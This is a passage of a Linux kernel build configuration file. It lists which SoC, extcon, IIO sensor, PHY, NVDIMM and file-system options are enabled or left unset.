# Enable LiteX SoC Builder specific drivers
#
# CONFIG_LITEX_SOC_CONTROLLER is not set
# end of Enable LiteX SoC Builder specific drivers

# CONFIG_WPCM450_SOC is not set
CONFIG_QCOM_QMI_HELPERS=y
# CONFIG_SOC_TI is not set

#
# Xilinx SoC drivers
#
# end of Xilinx SoC drivers
# end of SOC (System On Chip) specific Drivers

#
# PM Domains
#

#
# Amlogic PM Domains
#
# end of Amlogic PM Domains

#
# Broadcom PM Domains
#
# end of Broadcom PM Domains

#
# i.MX PM Domains
#
# end of i.MX PM Domains

#
# Qualcomm PM Domains
#
# end of Qualcomm PM Domains
# end of PM Domains

# CONFIG_PM_DEVFREQ is not set
CONFIG_EXTCON=y

#
# Extcon Device Drivers
#
# CONFIG_EXTCON_ADC_JACK is not set
# CONFIG_EXTCON_FSA9480 is not set
# CONFIG_EXTCON_GPIO is not set
# CONFIG_EXTCON_INTEL_INT3496 is not set
CONFIG_EXTCON_INTEL_CHT_WC=y
# CONFIG_EXTCON_LC824206XA is not set
# CONFIG_EXTCON_MAX3355 is not set
# CONFIG_EXTCON_MAX14526 is not set
CONFIG_EXTCON_PTN5150=y
# CONFIG_EXTCON_RT8973A is not set
# CONFIG_EXTCON_SM5502 is not set
# CONFIG_EXTCON_USB_GPIO is not set
CONFIG_EXTCON_USBC_TUSB320=y
# CONFIG_MEMORY is not set
CONFIG_IIO=y
CONFIG_IIO_BUFFER=y
# CONFIG_IIO_BUFFER_CB is not set
# CONFIG_IIO_BUFFER_DMA is not set
# CONFIG_IIO_BUFFER_DMAENGINE is not set
# CONFIG_IIO_BUFFER_HW_CONSUMER is not set
CONFIG_IIO_KFIFO_BUF=y
CONFIG_IIO_TRIGGERED_BUFFER=y
# CONFIG_IIO_CONFIGFS is not set
CONFIG_IIO_TRIGGER=y
CONFIG_IIO_CONSUMERS_PER_TRIGGER=2
# CONFIG_IIO_SW_DEVICE is not set
# CONFIG_IIO_SW_TRIGGER is not set
# CONFIG_IIO_TRIGGERED_EVENT is not set

#
# Accelerometers
#
# CONFIG_ADIS16201 is not set
# CONFIG_ADIS16209 is not set
# CONFIG_ADXL313_I2C is not set
# CONFIG_ADXL313_SPI is not set
# CONFIG_ADXL345_I2C is not set
# CONFIG_ADXL345_SPI is not set
# CONFIG_ADXL355_I2C is not set
# CONFIG_ADXL355_SPI is not set
# CONFIG_ADXL367_SPI is not set
# CONFIG_ADXL367_I2C is not set
# CONFIG_ADXL372_SPI is not set
# CONFIG_ADXL372_I2C is not set
# CONFIG_ADXL380_SPI is not set
# CONFIG_ADXL380_I2C is not set
# CONFIG_BMA180 is not set
# CONFIG_BMA220 is not set
# CONFIG_BMA400 is not set
# CONFIG_BMC150_ACCEL is not set
# CONFIG_BMI088_ACCEL is not set
# CONFIG_DA280 is not set
# CONFIG_DA311 is not set
# CONFIG_DMARD06 is not set
# CONFIG_DMARD09 is not set
# CONFIG_DMARD10 is not set
# CONFIG_FXLS8962AF_I2C is not set
# CONFIG_FXLS8962AF_SPI is not set
CONFIG_HID_SENSOR_ACCEL_3D=y
# CONFIG_IIO_ST_ACCEL_3AXIS is not set
# CONFIG_IIO_KX022A_SPI is not set
# CONFIG_IIO_KX022A_I2C is not set
# CONFIG_KXSD9 is not set
# CONFIG_KXCJK1013 is not set
# CONFIG_MC3230 is not set
# CONFIG_MMA7455_I2C is not set
# CONFIG_MMA7455_SPI is not set
# CONFIG_MMA7660 is not set
# CONFIG_MMA8452 is not set
# CONFIG_MMA9551 is not set
# CONFIG_MMA9553 is not set
# CONFIG_MSA311 is not set
# CONFIG_MXC4005 is not set
# CONFIG_MXC6255 is not set
# CONFIG_SCA3000 is not set
# CONFIG_SCA3300 is not set
# CONFIG_STK8312 is not set
# CONFIG_STK8BA50 is not set
# end of Accelerometers

#
# Analog to digital converters
#
# CONFIG_AD4000 is not set
# CONFIG_AD4080 is not set
# CONFIG_AD4130 is not set
# CONFIG_AD4134 is not set
# CONFIG_AD4170_4 is not set
# CONFIG_AD4691 is not set
# CONFIG_AD4695 is not set
# CONFIG_AD7091R5 is not set
# CONFIG_AD7091R8 is not set
# CONFIG_AD7124 is not set
# CONFIG_AD7173 is not set
# CONFIG_AD7191 is not set
# CONFIG_AD7192 is not set
# CONFIG_AD7266 is not set
# CONFIG_AD7280 is not set
# CONFIG_AD7291 is not set
# CONFIG_AD7292 is not set
# CONFIG_AD7298 is not set
# CONFIG_AD7380 is not set
# CONFIG_AD7476 is not set
# CONFIG_AD7606_IFACE_PARALLEL is not set
# CONFIG_AD7606_IFACE_SPI is not set
# CONFIG_AD7766 is not set
# CONFIG_AD7768_1 is not set
# CONFIG_AD7779 is not set
# CONFIG_AD7780 is not set
# CONFIG_AD7791 is not set
# CONFIG_AD7793 is not set
# CONFIG_AD7887 is not set
# CONFIG_AD7923 is not set
# CONFIG_AD7944 is not set
# CONFIG_AD7949 is not set
# CONFIG_AD799X is not set
# CONFIG_AD9467 is not set
# CONFIG_ADE9000 is not set
# CONFIG_CC10001_ADC is not set
CONFIG_DLN2_ADC=y
# CONFIG_ENVELOPE_DETECTOR is not set
# CONFIG_GEHC_PMC_ADC is not set
# CONFIG_HI8435 is not set
# CONFIG_HX711 is not set
# CONFIG_INA2XX_ADC is not set
# CONFIG_LTC2309 is not set
# CONFIG_LTC2471 is not set
# CONFIG_LTC2485 is not set
# CONFIG_LTC2496 is not set
# CONFIG_LTC2497 is not set
# CONFIG_MAX1027 is not set
# CONFIG_MAX11100 is not set
# CONFIG_MAX1118 is not set
# CONFIG_MAX11205 is not set
# CONFIG_MAX11410 is not set
# CONFIG_MAX1241 is not set
# CONFIG_MAX1363 is not set
# CONFIG_MAX14001 is not set
# CONFIG_MAX34408 is not set
# CONFIG_MAX9611 is not set
# CONFIG_MCP320X is not set
# CONFIG_MCP3422 is not set
# CONFIG_MCP3564 is not set
# CONFIG_MCP3911 is not set
# CONFIG_MEDIATEK_MT6360_ADC is not set
# CONFIG_MEDIATEK_MT6370_ADC is not set
# CONFIG_NAU7802 is not set
# CONFIG_NCT7201 is not set
# CONFIG_PAC1921 is not set
# CONFIG_PAC1934 is not set
# CONFIG_ROHM_BD79112 is not set
# CONFIG_ROHM_BD79124 is not set
# CONFIG_RICHTEK_RTQ6056 is not set
# CONFIG_SD_ADC_MODULATOR is not set
# CONFIG_TI_ADC081C is not set
# CONFIG_TI_ADC0832 is not set
# CONFIG_TI_ADC084S021 is not set
# CONFIG_TI_ADC108S102 is not set
# CONFIG_TI_ADC12138 is not set
# CONFIG_TI_ADC128S052 is not set
# CONFIG_TI_ADC161S626 is not set
# CONFIG_TI_ADS1015 is not set
# CONFIG_TI_ADS1018 is not set
# CONFIG_TI_ADS1100 is not set
# CONFIG_TI_ADS1119 is not set
# CONFIG_TI_ADS112C14 is not set
# CONFIG_TI_ADS124S08 is not set
# CONFIG_TI_ADS1298 is not set
# CONFIG_TI_ADS131E08 is not set
# CONFIG_TI_ADS131M02 is not set
# CONFIG_TI_ADS7138 is not set
# CONFIG_TI_ADS7924 is not set
# CONFIG_TI_ADS7950 is not set
# CONFIG_TI_ADS8344 is not set
# CONFIG_TI_ADS8688 is not set
# CONFIG_TI_LMP92064 is not set
# CONFIG_TI_TLC4541 is not set
# CONFIG_TI_TSC2046 is not set
# CONFIG_TWL4030_MADC is not set
# CONFIG_TWL6030_GPADC is not set
# CONFIG_VERSAL_SYSMON_I2C is not set
# CONFIG_VF610_ADC is not set
CONFIG_VIPERBOARD_ADC=y
# CONFIG_XILINX_XADC is not set
# end of Analog to digital converters

#
# Analog to digital and digital to analog converters
#
# CONFIG_AD74115 is not set
# CONFIG_AD74413R is not set
# end of Analog to digital and digital to analog converters

#
# Analog Front Ends
#
# CONFIG_IIO_RESCALE is not set
# end of Analog Front Ends

#
# Amplifiers
#
# CONFIG_AD8366 is not set
# CONFIG_ADA4250 is not set
# CONFIG_ADL8113 is not set
# CONFIG_HMC425 is not set
# end of Amplifiers

#
# Capacitance to digital converters
#
# CONFIG_AD7150 is not set
# CONFIG_AD7746 is not set
# end of Capacitance to digital converters

#
# Chemical Sensors
#
# CONFIG_AOSONG_AGS02MA is not set
# CONFIG_ATLAS_PH_SENSOR is not set
# CONFIG_ATLAS_EZO_SENSOR is not set
# CONFIG_BME680 is not set
# CONFIG_CCS811 is not set
# CONFIG_ENS160 is not set
# CONFIG_IAQCORE is not set
# CONFIG_MHZ19B is not set
# CONFIG_PMS7003 is not set
# CONFIG_SCD30_CORE is not set
# CONFIG_SCD4X is not set
# CONFIG_SEN0322 is not set
# CONFIG_SENSIRION_SGP30 is not set
# CONFIG_SENSIRION_SGP40 is not set
# CONFIG_SPS30_I2C is not set
# CONFIG_SPS30_SERIAL is not set
# CONFIG_SENSEAIR_SUNRISE_CO2 is not set
# CONFIG_VZ89X is not set
# end of Chemical Sensors

#
# Hid Sensor IIO Common
#
CONFIG_HID_SENSOR_IIO_COMMON=y
CONFIG_HID_SENSOR_IIO_TRIGGER=y
# end of Hid Sensor IIO Common

#
# IIO SCMI Sensors
#
# end of IIO SCMI Sensors

#
# SSP Sensor Common
#
# CONFIG_IIO_SSP_SENSORHUB is not set
# end of SSP Sensor Common

#
# Digital to analog converters
#
# CONFIG_AD3530R is not set
# CONFIG_AD3552R_HS is not set
# CONFIG_AD3552R is not set
# CONFIG_AD5064 is not set
# CONFIG_AD5360 is not set
# CONFIG_AD5380 is not set
# CONFIG_AD5421 is not set
# CONFIG_AD5446_SPI is not set
# CONFIG_AD5446_I2C is not set
# CONFIG_AD5449 is not set
# CONFIG_AD5592R is not set
# CONFIG_AD5593R is not set
# CONFIG_AD5504 is not set
# CONFIG_AD5624R_SPI is not set
# CONFIG_AD5706R is not set
# CONFIG_AD9739A is not set
# CONFIG_LTC2688 is not set
# CONFIG_AD5686_SPI is not set
# CONFIG_AD5696_I2C is not set
# CONFIG_AD5755 is not set
# CONFIG_AD5758 is not set
# CONFIG_AD5761 is not set
# CONFIG_AD5764 is not set
# CONFIG_AD5766 is not set
# CONFIG_AD5770R is not set
# CONFIG_AD5791 is not set
# CONFIG_AD7293 is not set
# CONFIG_AD7303 is not set
# CONFIG_AD8460 is not set
# CONFIG_AD8801 is not set
# CONFIG_BD79703 is not set
# CONFIG_CIO_DAC is not set
# CONFIG_DPOT_DAC is not set
# CONFIG_DS4424 is not set
# CONFIG_LTC1660 is not set
# CONFIG_LTC2632 is not set
# CONFIG_LTC2664 is not set
# CONFIG_M62332 is not set
# CONFIG_MAX517 is not set
# CONFIG_MAX22007 is not set
# CONFIG_MAX5522 is not set
# CONFIG_MAX5821 is not set
# CONFIG_MCP4725 is not set
# CONFIG_MCP4728 is not set
# CONFIG_MCP47A1 is not set
# CONFIG_MCP47FEB02 is not set
# CONFIG_MCP4821 is not set
# CONFIG_MCP4922 is not set
# CONFIG_TI_DAC082S085 is not set
# CONFIG_TI_DAC5571 is not set
# CONFIG_TI_DAC7311 is not set
# CONFIG_TI_DAC7612 is not set
# CONFIG_VF610_DAC is not set
# end of Digital to analog converters

#
# IIO dummy driver
#
# end of IIO dummy driver

#
# Filters
#
# CONFIG_ADMV8818 is not set
# end of Filters

#
# Flow sensors
#
# CONFIG_SENSIRION_SLF3S is not set
# end of Flow sensors

#
# Frequency Synthesizers DDS/PLL
#

#
# Clock Generator/Distribution
#
# CONFIG_AD9523 is not set
# end of Clock Generator/Distribution

#
# Phase-Locked Loop (PLL) frequency synthesizers
#
# CONFIG_ADF41513 is not set
# CONFIG_ADF4350 is not set
# CONFIG_ADF4371 is not set
# CONFIG_ADF4377 is not set
# CONFIG_ADMFM2000 is not set
# CONFIG_ADMV1013 is not set
# CONFIG_ADMV1014 is not set
# CONFIG_ADMV4420 is not set
# CONFIG_ADRF6780 is not set
# end of Phase-Locked Loop (PLL) frequency synthesizers
# end of Frequency Synthesizers DDS/PLL

#
# Digital gyroscope sensors
#
# CONFIG_ADIS16080 is not set
# CONFIG_ADIS16130 is not set
# CONFIG_ADIS16136 is not set
# CONFIG_ADIS16260 is not set
# CONFIG_ADXRS290 is not set
# CONFIG_ADXRS450 is not set
# CONFIG_BMG160 is not set
# CONFIG_FXAS21002C is not set
CONFIG_HID_SENSOR_GYRO_3D=y
# CONFIG_MPU3050_I2C is not set
# CONFIG_IIO_ST_GYRO_3AXIS is not set
# CONFIG_ITG3200 is not set
# end of Digital gyroscope sensors

#
# Health Sensors
#

#
# Heart Rate Monitors
#
# CONFIG_AFE4403 is not set
# CONFIG_AFE4404 is not set
# CONFIG_MAX30100 is not set
# CONFIG_MAX30102 is not set
# end of Heart Rate Monitors
# end of Health Sensors

#
# Humidity sensors
#
# CONFIG_AM2315 is not set
# CONFIG_DHT11 is not set
# CONFIG_ENS210 is not set
# CONFIG_HDC100X is not set
# CONFIG_HDC2010 is not set
# CONFIG_HDC3020 is not set
CONFIG_HID_SENSOR_HUMIDITY=y
# CONFIG_HTS221 is not set
# CONFIG_HTU21 is not set
# CONFIG_SI7005 is not set
# CONFIG_SI7020 is not set
# end of Humidity sensors

#
# Inertial measurement units
#
# CONFIG_ADIS16400 is not set
# CONFIG_ADIS16460 is not set
# CONFIG_ADIS16475 is not set
# CONFIG_ADIS16480 is not set
# CONFIG_ADIS16550 is not set
# CONFIG_BMI160_I2C is not set
# CONFIG_BMI160_SPI is not set
# CONFIG_BMI270_I2C is not set
# CONFIG_BMI270_SPI is not set
# CONFIG_BMI323_I2C is not set
# CONFIG_BMI323_SPI is not set
# CONFIG_BOSCH_BNO055_SERIAL is not set
# CONFIG_BOSCH_BNO055_I2C is not set
# CONFIG_FXOS8700_I2C is not set
# CONFIG_FXOS8700_SPI is not set
# CONFIG_KMX61 is not set
# CONFIG_INV_ICM42600_I2C is not set
# CONFIG_INV_ICM42600_SPI is not set
# CONFIG_INV_ICM42607_I2C is not set
# CONFIG_INV_ICM42607_SPI is not set
# CONFIG_INV_ICM45600_I2C is not set
# CONFIG_INV_ICM45600_SPI is not set
# CONFIG_INV_MPU6050_I2C is not set
# CONFIG_INV_MPU6050_SPI is not set
# CONFIG_SMI240 is not set
# CONFIG_SMI330_I2C is not set
# CONFIG_SMI330_SPI is not set
# CONFIG_IIO_ST_LSM6DSX is not set
# CONFIG_IIO_ST_LSM9DS0 is not set
# end of Inertial measurement units

#
# Light sensors
#
# CONFIG_ACPI_ALS is not set
# CONFIG_ADJD_S311 is not set
# CONFIG_ADUX1020 is not set
# CONFIG_AL3000A is not set
# CONFIG_AL3010 is not set
# CONFIG_AL3320A is not set
# CONFIG_APDS9160 is not set
# CONFIG_APDS9300 is not set
# CONFIG_APDS9306 is not set
# CONFIG_APDS9960 is not set
# CONFIG_APDS9999 is not set
# CONFIG_AS73211 is not set
# CONFIG_BH1745 is not set
# CONFIG_BH1750 is not set
# CONFIG_BH1780 is not set
# CONFIG_CM32181 is not set
# CONFIG_CM3232 is not set
# CONFIG_CM3323 is not set
# CONFIG_CM3605 is not set
# CONFIG_CM36651 is not set
# CONFIG_GP2AP002 is not set
# CONFIG_GP2AP020A00F is not set
# CONFIG_SENSORS_ISL29018 is not set
# CONFIG_SENSORS_ISL29028 is not set
# CONFIG_ISL29125 is not set
# CONFIG_ISL76682 is not set
CONFIG_HID_SENSOR_ALS=y
CONFIG_HID_SENSOR_PROX=y
# CONFIG_JSA1212 is not set
# CONFIG_ROHM_BU27034 is not set
# CONFIG_RPR0521 is not set
# CONFIG_LTR390 is not set
# CONFIG_LTR501 is not set
# CONFIG_LTRF216A is not set
# CONFIG_LV0104CS is not set
# CONFIG_MAX44000 is not set
# CONFIG_MAX44009 is not set
# CONFIG_NOA1305 is not set
# CONFIG_OPT3001 is not set
# CONFIG_OPT4001 is not set
# CONFIG_OPT4060 is not set
# CONFIG_PA12203001 is not set
# CONFIG_SI1133 is not set
# CONFIG_SI1145 is not set
# CONFIG_STK3310 is not set
# CONFIG_ST_UVIS25 is not set
# CONFIG_TCS3414 is not set
# CONFIG_TCS3472 is not set
# CONFIG_SENSORS_TSL2563 is not set
# CONFIG_TSL2583 is not set
# CONFIG_TSL2591 is not set
# CONFIG_TSL2772 is not set
# CONFIG_TSL4531 is not set
# CONFIG_US5182D is not set
# CONFIG_VCNL4000 is not set
# CONFIG_VCNL4035 is not set
# CONFIG_VEML3235 is not set
# CONFIG_VEML3328 is not set
# CONFIG_VEML6030 is not set
# CONFIG_VEML6040 is not set
# CONFIG_VEML6046X00 is not set
# CONFIG_VEML6070 is not set
# CONFIG_VEML6075 is not set
# CONFIG_VL6180 is not set
# CONFIG_ZOPT2201 is not set
# end of Light sensors

#
# Magnetometer sensors
#
# CONFIG_AF8133J is not set
# CONFIG_AK8974 is not set
# CONFIG_AK8975 is not set
# CONFIG_AK09911 is not set
# CONFIG_ALS31300 is not set
# CONFIG_BMC150_MAGN_I2C is not set
# CONFIG_BMC150_MAGN_SPI is not set
# CONFIG_MAG3110 is not set
CONFIG_HID_SENSOR_MAGNETOMETER_3D=y
# CONFIG_MMC35240 is not set
# CONFIG_MMC5633 is not set
# CONFIG_MMC5983 is not set
# CONFIG_IIO_ST_MAGN_3AXIS is not set
# CONFIG_INFINEON_TLV493D is not set
# CONFIG_QMC5883L is not set
# CONFIG_QMC6308 is not set
# CONFIG_SENSORS_HMC5843_I2C is not set
# CONFIG_SENSORS_HMC5843_SPI is not set
# CONFIG_SENSORS_RM3100_I2C is not set
# CONFIG_SENSORS_RM3100_SPI is not set
# CONFIG_SI7210 is not set
# CONFIG_TI_TMAG5273 is not set
# CONFIG_YAMAHA_YAS530 is not set
# end of Magnetometer sensors

#
# Multiplexers
#
# CONFIG_IIO_MUX is not set
# end of Multiplexers

#
# Inclinometer sensors
#
CONFIG_HID_SENSOR_INCLINOMETER_3D=y
CONFIG_HID_SENSOR_DEVICE_ROTATION=y
# end of Inclinometer sensors

#
# Triggers - standalone
#
# CONFIG_IIO_SYSFS_TRIGGER is not set
# end of Triggers - standalone

#
# Linear and angular position sensors
#
CONFIG_HID_SENSOR_CUSTOM_INTEL_HINGE=y
# end of Linear and angular position sensors

#
# Digital potentiometers
#
# CONFIG_AD5110 is not set
# CONFIG_AD5272 is not set
# CONFIG_DS1803 is not set
# CONFIG_MAX5432 is not set
# CONFIG_MAX5481 is not set
# CONFIG_MAX5487 is not set
# CONFIG_MCP4018 is not set
# CONFIG_MCP4131 is not set
# CONFIG_MCP4531 is not set
# CONFIG_MCP41010 is not set
# CONFIG_TPL0102 is not set
# CONFIG_X9250 is not set
# end of Digital potentiometers

#
# Digital potentiostats
#
# CONFIG_LMP91000 is not set
# end of Digital potentiostats

#
# Pressure sensors
#
# CONFIG_ABP060MG is not set
# CONFIG_ABP2030PA_I2C is not set
# CONFIG_ABP2030PA_SPI is not set
# CONFIG_ROHM_BM1390 is not set
# CONFIG_BMP280 is not set
# CONFIG_DLHL60D is not set
# CONFIG_DPS310 is not set
CONFIG_HID_SENSOR_PRESS=y
# CONFIG_HP03 is not set
# CONFIG_HSC030PA is not set
# CONFIG_ICP10100 is not set
# CONFIG_MPL115_I2C is not set
# CONFIG_MPL115_SPI is not set
# CONFIG_MPL3115 is not set
# CONFIG_MPRLS0025PA_I2C is not set
# CONFIG_MPRLS0025PA_SPI is not set
# CONFIG_MS5611 is not set
# CONFIG_MS5637 is not set
# CONFIG_SDP500 is not set
# CONFIG_IIO_ST_PRESS is not set
# CONFIG_T5403 is not set
# CONFIG_HP206C is not set
# CONFIG_ZPA2326 is not set
# CONFIG_ADP810 is not set
# end of Pressure sensors

#
# Lightning sensors
#
# CONFIG_AS3935 is not set
# end of Lightning sensors

#
# Proximity and distance sensors
#
# CONFIG_D3323AA is not set
# CONFIG_HX9023S is not set
# CONFIG_IRSD200 is not set
# CONFIG_ISL29501 is not set
# CONFIG_LIDAR_LITE_V2 is not set
# CONFIG_MB1232 is not set
# CONFIG_PING is not set
# CONFIG_RFD77402 is not set
# CONFIG_SRF04 is not set
# CONFIG_SX9310 is not set
# CONFIG_SX9324 is not set
# CONFIG_SX9360 is not set
# CONFIG_SX9500 is not set
# CONFIG_SRF08 is not set
# CONFIG_VCNL3020 is not set
# CONFIG_VL53L0X_I2C is not set
# CONFIG_VL53L1X_I2C is not set
# CONFIG_AW96103 is not set
# end of Proximity and distance sensors

#
# Resolver to digital converters
#
# CONFIG_AD2S90 is not set
# CONFIG_AD2S1200 is not set
# CONFIG_AD2S1210 is not set
# end of Resolver to digital converters

#
# Temperature sensors
#
# CONFIG_LTC2983 is not set
# CONFIG_MAXIM_THERMOCOUPLE is not set
CONFIG_HID_SENSOR_TEMP=y
# CONFIG_MLX90614 is not set
# CONFIG_MLX90632 is not set
# CONFIG_MLX90635 is not set
# CONFIG_TMP006 is not set
# CONFIG_TMP007 is not set
# CONFIG_TMP117 is not set
# CONFIG_TSYS01 is not set
# CONFIG_TSYS02D is not set
# CONFIG_MAX30208 is not set
# CONFIG_MAX31856 is not set
# CONFIG_MAX31865 is not set
# CONFIG_MCP9600 is not set
# end of Temperature sensors

# CONFIG_NTB is not set
# CONFIG_PWM is not set

#
# IRQ chip support
#
CONFIG_IRQCHIP=y
CONFIG_IRQ_MSI_LIB=y
# CONFIG_AL_FIC is not set
# CONFIG_XILINX_INTC is not set
# end of IRQ chip support

# CONFIG_IPACK_BUS is not set
CONFIG_RESET_CONTROLLER=y
# CONFIG_RESET_GPIO is not set
# CONFIG_RESET_INTEL_GW is not set
# CONFIG_RESET_SIMPLE is not set
# CONFIG_RESET_TI_SYSCON is not set
# CONFIG_RESET_TI_TPS380X is not set

#
# PHY Subsystem
#
CONFIG_GENERIC_PHY=y
# CONFIG_PHY_CAN_TRANSCEIVER is not set
CONFIG_PHY_GOOGLE_USB=y
CONFIG_USB_LGM_PHY=y
# CONFIG_PHY_NXP_PTN3222 is not set
# CONFIG_PHY_NXP_TJA1145 is not set

#
# PHY drivers for Broadcom platforms
#
# CONFIG_BCM_KONA_USB2_PHY is not set
# end of PHY drivers for Broadcom platforms

# CONFIG_PHY_CADENCE_TORRENT is not set
# CONFIG_PHY_CADENCE_DPHY is not set
# CONFIG_PHY_CADENCE_DPHY_RX is not set
# CONFIG_PHY_CADENCE_SIERRA is not set
# CONFIG_PHY_CADENCE_SALVO is not set
# CONFIG_PHY_INTEL_LGM_COMBO is not set
# CONFIG_PHY_INTEL_LGM_EMMC is not set
# CONFIG_PHY_PXA_28NM_HSIC is not set
# CONFIG_PHY_PXA_28NM_USB2 is not set
CONFIG_PHY_CPCAP_USB=y
# CONFIG_PHY_MAPPHONE_MDM6600 is not set
# CONFIG_PHY_OCELOT_SERDES is not set
CONFIG_PHY_QCOM_USB_HS=y
CONFIG_PHY_QCOM_USB_HSIC=y
CONFIG_PHY_SAMSUNG_USB2=y
# CONFIG_PHY_TI_DS125DF111 is not set
CONFIG_PHY_TUSB1210=y
# end of PHY Subsystem

# CONFIG_POWERCAP is not set
# CONFIG_MCB is not set

#
# Performance monitor support
#
# CONFIG_DWC_PCIE_PMU is not set
# end of Performance monitor support

CONFIG_RAS=y
CONFIG_USB4=y
CONFIG_USB4_CONFIGFS=y
# CONFIG_USB4_DEBUGFS_WRITE is not set
# CONFIG_USB4_DMA_TEST is not set
# CONFIG_USB4_STREAM is not set

#
# Android
#
CONFIG_ANDROID_BINDER_IPC=y
CONFIG_ANDROID_BINDERFS=y
CONFIG_ANDROID_BINDER_DEVICES="binder0,binder1"
# end of Android

CONFIG_LIBNVDIMM=y
CONFIG_BLK_DEV_PMEM=y
CONFIG_ND_CLAIM=y
CONFIG_ND_BTT=y
CONFIG_BTT=y
CONFIG_ND_PFN=y
CONFIG_NVDIMM_PFN=y
CONFIG_NVDIMM_DAX=y
CONFIG_OF_PMEM=y
# CONFIG_RAMDAX is not set
CONFIG_NVDIMM_KEYS=y
# CONFIG_NVDIMM_SECURITY_TEST is not set
CONFIG_DAX=y
CONFIG_DEV_DAX=y
# CONFIG_DEV_DAX_PMEM is not set
CONFIG_DEV_DAX_FSDEV=y
# CONFIG_DEV_DAX_KMEM is not set
CONFIG_NVMEM=y
CONFIG_NVMEM_SYSFS=y
CONFIG_NVMEM_LAYOUTS=y

#
# Layout Types
#
# CONFIG_NVMEM_LAYOUT_SL28_VPD is not set
# CONFIG_NVMEM_LAYOUT_ONIE_TLV is not set
# CONFIG_NVMEM_LAYOUT_U_BOOT_ENV is not set
# end of Layout Types

# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_AT25 is not set
# CONFIG_EEPROM_93XX46 is not set
# CONFIG_EEPROM_EE1004 is not set
# CONFIG_EEPROM_M24LR is not set
# CONFIG_NVMEM_RMEM is not set
# CONFIG_NVMEM_U_BOOT_ENV is not set

#
# HW tracing support
#
# CONFIG_STM is not set
# CONFIG_INTEL_TH is not set
# end of HW tracing support

# CONFIG_FPGA is not set
# CONFIG_FSI is not set
CONFIG_TEE=y
CONFIG_TEE_DMABUF_HEAPS=y
CONFIG_OPTEE_STATIC_PROTMEM_POOL=y
# CONFIG_MUX_CORE is not set
# CONFIG_SIOX is not set
# CONFIG_SLIMBUS is not set
# CONFIG_INTERCONNECT is not set
CONFIG_COUNTER=y
# CONFIG_INTEL_QEP is not set
# CONFIG_INTERRUPT_CNT is not set
CONFIG_MOST=y
CONFIG_MOST_USB_HDM=y
# CONFIG_MOST_CDEV is not set
# CONFIG_MOST_SND is not set
# CONFIG_PECI is not set
# CONFIG_HTE is not set
# end of Device Drivers

#
# File systems
#
CONFIG_DCACHE_WORD_ACCESS=y
CONFIG_VALIDATE_FS_PARSER=y
CONFIG_FS_IOMAP=y
CONFIG_FS_STACK=y
CONFIG_BUFFER_HEAD=y
CONFIG_LEGACY_DIRECT_IO=y
# CONFIG_EXT2_FS is not set
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT2=y
CONFIG_EXT4_FS_POSIX_ACL=y
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
CONFIG_JFS_FS=y
CONFIG_JFS_POSIX_ACL=y
CONFIG_JFS_SECURITY=y
CONFIG_JFS_DEBUG=y
# CONFIG_JFS_STATISTICS is not set
CONFIG_XFS_FS=y
# CONFIG_XFS_SUPPORT_V4 is not set
# CONFIG_XFS_SUPPORT_ASCII_CI is not set
CONFIG_XFS_QUOTA=y
CONFIG_XFS_POSIX_ACL=y
CONFIG_XFS_RT=y
CONFIG_XFS_DRAIN_INTENTS=y
CONFIG_XFS_LIVE_HOOKS=y
CONFIG_XFS_MEMORY_BUFS=y
CONFIG_XFS_BTREE_IN_MEM=y
CONFIG_XFS_ONLINE_SCRUB=y
# CONFIG_XFS_ONLINE_SCRUB_STATS is not set
CONFIG_XFS_ONLINE_REPAIR=y
# CONFIG_XFS_WARN is not set
# CONFIG_XFS_DEBUG is not set
CONFIG_GFS2_FS=y
CONFIG_GFS2_FS_LOCKING_DLM=y
CONFIG_OCFS2_FS=y
CONFIG_OCFS2_FS_O2CB=y
CONFIG_OCFS2_FS_USERSPACE_CLUSTER=y
CONFIG_OCFS2_FS_STATS=y
# CONFIG_OCFS2_DEBUG_MASKLOG is not set
CONFIG_OCFS2_DEBUG_FS=y
CONFIG_BTRFS_FS=y
CONFIG_BTRFS_FS_POSIX_ACL=y
# CONFIG_BTRFS_FS_RUN_SANITY_TESTS is not set
# CONFIG_BTRFS_DEBUG is not set
CONFIG_BTRFS_ASSERT=y
# CONFIG_BTRFS_EXPERIMENTAL is not set
CONFIG_NILFS2_FS=y
CONFIG_F2FS_FS=y
CONFIG_F2FS_STAT_FS=y
CONFIG_F2FS_FS_XATTR=y
CONFIG_F2FS_FS_POSIX_ACL=y
CONFIG_F2FS_FS_SECURITY=y
CONFIG_F2FS_CHECK_FS=y
CONFIG_F2FS_FAULT_INJECTION=y
CONFIG_F2FS_FS_COMPRESSION=y
CONFIG_F2FS_FS_LZO=y
CONFIG_F2FS_FS_LZORLE=y
CONFIG_F2FS_FS_LZ4=y
CONFIG_F2FS_FS_LZ4HC=y
CONFIG_F2FS_FS_ZSTD=y
# CONFIG_F2FS_IOSTAT is not set
# CONFIG_F2FS_UNFAIR_RWSEM is not set
CONFIG_ZONEFS_FS=y
CONFIG_FS_DAX=y
CONFIG_FS_DAX_PMD=y
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
CONFIG_EXPORTFS_BLOCK_OPS=y
CONFIG_FILE_LOCKING=y
CONFIG_FS_ENCRYPTION=y
CONFIG_FS_ENCRYPTION_ALGS=y
CONFIG_FS_ENCRYPTION_INLINE_CRYPT=y
CONFIG_FS_VERITY=y
CONFIG_FS_VERITY_BUILTIN_SIGNATURES=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
CONFIG_FANOTIFY_ACCESS_PERMISSIONS=y
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
# CONFIG_QUOTA_DEBUG is not set
CONFIG_QUOTA_TREE=y
# CONFIG_QFMT_V1 is not set
CONFIG_QFMT_V2=y
CONFIG_QUOTACTL=y
CONFIG_AUTOFS_FS=y
CONFIG_FUSE_FS=y
CONFIG_CUSE=y
CONFIG_VIRTIO_FS=y
CONFIG_FUSE_DAX=y
# CONFIG_FUSE_PASSTHROUGH is not set
CONFIG_FUSE_IO_URING=y
CONFIG_OVERLAY_FS=y
CONFIG_OVERLAY_FS_REDIRECT_DIR=y
CONFIG_OVERLAY_FS_REDIRECT_ALWAYS_FOLLOW=y
CONFIG_OVERLAY_FS_INDEX=y
# CONFIG_OVERLAY_FS_NFS_EXPORT is not set
# CONFIG_OVERLAY_FS_XINO_AUTO is not set
